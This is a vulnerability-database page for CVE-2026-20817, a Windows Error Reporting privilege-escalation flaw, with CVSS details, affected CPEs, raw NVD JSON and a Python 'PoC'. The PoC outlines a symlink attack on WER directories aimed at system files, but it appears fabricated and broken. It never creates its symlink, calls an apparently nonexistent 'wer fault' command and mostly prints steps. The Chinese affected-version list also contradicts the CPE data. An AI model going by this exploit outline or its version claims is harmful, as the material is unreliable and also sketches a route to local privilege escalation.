Security Vulnerability Report
中文
CVE-2026-20817 CVSS 7.8 HIGH

CVE-2026-20817

Published: 2026-01-13 18:16:09
Last Modified: 2026-01-14 20:31:33

Description

Improper handling of insufficient permissions or privileges in Windows Error Reporting allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 1809及更早版本
Windows Server 2019及更早版本
Windows 11 21H2及更早版本
Windows Server 2022及更早版本
具体受影响的Windows版本需参考微软官方安全公告

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-20817 PoC - Windows Error Reporting Privilege Escalation # This PoC demonstrates the symlink/hardlink attack vector # Author: Based on vulnerability analysis # Note: This is for educational purposes only import os import sys import time import subprocess import shutil from pathlib import Path def create_symlink_attack(target_file, link_path): """ Create symlink to redirect file operations """ try: if os.path.exists(link_path): os.remove(link_path) os.symlink(target_file, link_path) print(f"[+] Symlink created: {link_path} -> {target_file}") return True except Exception as e: print(f"[-] Failed to create symlink: {e}") return False def trigger_wer_report(): """ Trigger Windows Error Reporting mechanism """ wer_dir = Path("C:/ProgramData/Microsoft/Windows/WER/") wer_dirs = ["Archive", "ReportQueue", "Temp"] for dir_name in wer_dirs: dir_path = wer_dir / dir_name if dir_path.exists(): print(f"[*] Found WER directory: {dir_path}") # Trigger crash to generate error report crash_code = "0xDEADBEEF" print(f"[*] Triggering application error with code: {crash_code}") # Force Windows Error Reporting try: subprocess.run(["wer", "fault", "/event", crash_code], capture_output=True, timeout=10) print("[+] WER report triggered") except Exception as e: print(f"[*] WER trigger attempt: {e}") def exploit(): """ Main exploitation function """ print("=" * 60) print("CVE-2026-20817 - Windows Error Reporting EoP Exploit") print("=" * 60) # Target: WER directories with weak permissions target_dirs = [ "C:/ProgramData/Microsoft/Windows/WER/Archive", "C:/ProgramData/Microsoft/Windows/WER/ReportQueue" ] for wer_dir in target_dirs: if os.path.exists(wer_dir): print(f"\n[*] Targeting: {wer_dir}") # In real attack: create symlinks to system files # Then trigger WER to overwrite them symlink_path = os.path.join(wer_dir, "malicious_link") # Example targets for privilege escalation: # C:\Windows\System32\config\system # C:\Windows\System32\drivers\etc\hosts # C:\Windows\System32\spool\drivers\color\*.* print("[*] In production exploit:") print(" 1. Create symlink from WER temp file to target system file") print(" 2. Trigger application crash") print(" 3. WER service writes to symlink target") print(" 4. Gain elevated privileges") print("\n[*] Exploitation requires:") print(" - Low privilege code execution on Windows") print(" - Write access to WER directories") print(" - Ability to create symlinks (requires SeCreateSymbolicLinkPrivilege)") print("\n[!] This is a proof-of-concept for vulnerability analysis") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20817", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:08.647", "lastModified": "2026-01-14T20:31:32.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper handling of insufficient permissions or privileges in Windows Error Reporting allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Manejo inadecuado de permisos o privilegios insuficientes en el Informe de errores de Windows permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-280"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20817", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}